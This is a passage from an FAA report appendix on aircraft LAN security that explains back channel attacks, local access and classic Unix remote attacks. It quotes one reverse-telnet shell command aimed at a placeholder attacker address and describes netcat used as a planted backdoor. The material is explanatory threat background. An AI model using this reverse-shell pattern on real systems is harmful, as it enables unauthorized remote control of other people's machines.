Local Area Networks (LANs) in Aircraft - FTP Directory Listing - FAA

authorized to perform. 13 However, attackers can also obtain shell access in an unintended (and
nonauthorized) manner via the above-mentioned data driven attacks, as well as by Back channel
attacks.
A.2.10 BACK CHANNEL.
This is a mechanism where the communication channel originates from the targeted system
rather than from the attacking system. The attack consists of the attacker configuring his own
system to automatically accept the target back channel communication for a particular protocol
(e.g., via using the netcat or nc utility on his own machine) and then manipulating the target
computer to contact the attacker’s computer via that protocol. The attacker manipulates the
target computer via data driven attacks (e.g., buffer overflow, input validation) or by other
means. Possible back channel attacks include
• Reverse Telnet. This type of attack applies not only for telnet but also for the other Unix
remote access mechanisms. For example, the following would potentially cause a
reverse telnet to be executed from the cracked machine to the attacker’s machine:
/bin/telnet attackers_IP_address 80 | /bin/sh | /bin/telnet attackers_IP_address 25. Such a
command would enable a remote hacker to execute instructions on the cracked machine
via accessing the cracked machine through its normal web access port (e.g., this specific
example could have been launched as the historic PHF 14 attack against the web-server’s
CGI script).
• Nc or netcat. If the attacker previously had inserted netcat on the cracked machine and
assigned it to listen to a specific port, then netcat provides a ready back door for all
subsequent accesses to that machine without needing to subsequently leverage a data
driven attack for such access.
A.2.11 LOCAL ACCESS.
Most attackers seek to obtain local access within the OS via a remote access vulnerability of the
OS. Once the attacker has an interactive command shell, they are considered to be local to the
system. As previously mentioned, once attackers against Unix systems had local access, they
traditionally sought to obtain privilege escalation by becoming root.
A.2.12
OTHER WELL-KNOWN ATTACKS.
Other well-known attacks include:
• Remote attacks using ARPA services: Telnet, TFTP, FTP, and Sendmail (SMTP). These
very popular protocols are all used for a wide number of attacks leveraging the fact that
13 Users with root permission are authorized to perform all available functions on that computer.
14 PHF—a program name referring to a type of CGI script file. The PHF program with Apache 1.0.5 and earlier
versions was distributed in the cgi-src directory, and needed active effort to both compile it and place it in the cgibin
directory.
A-10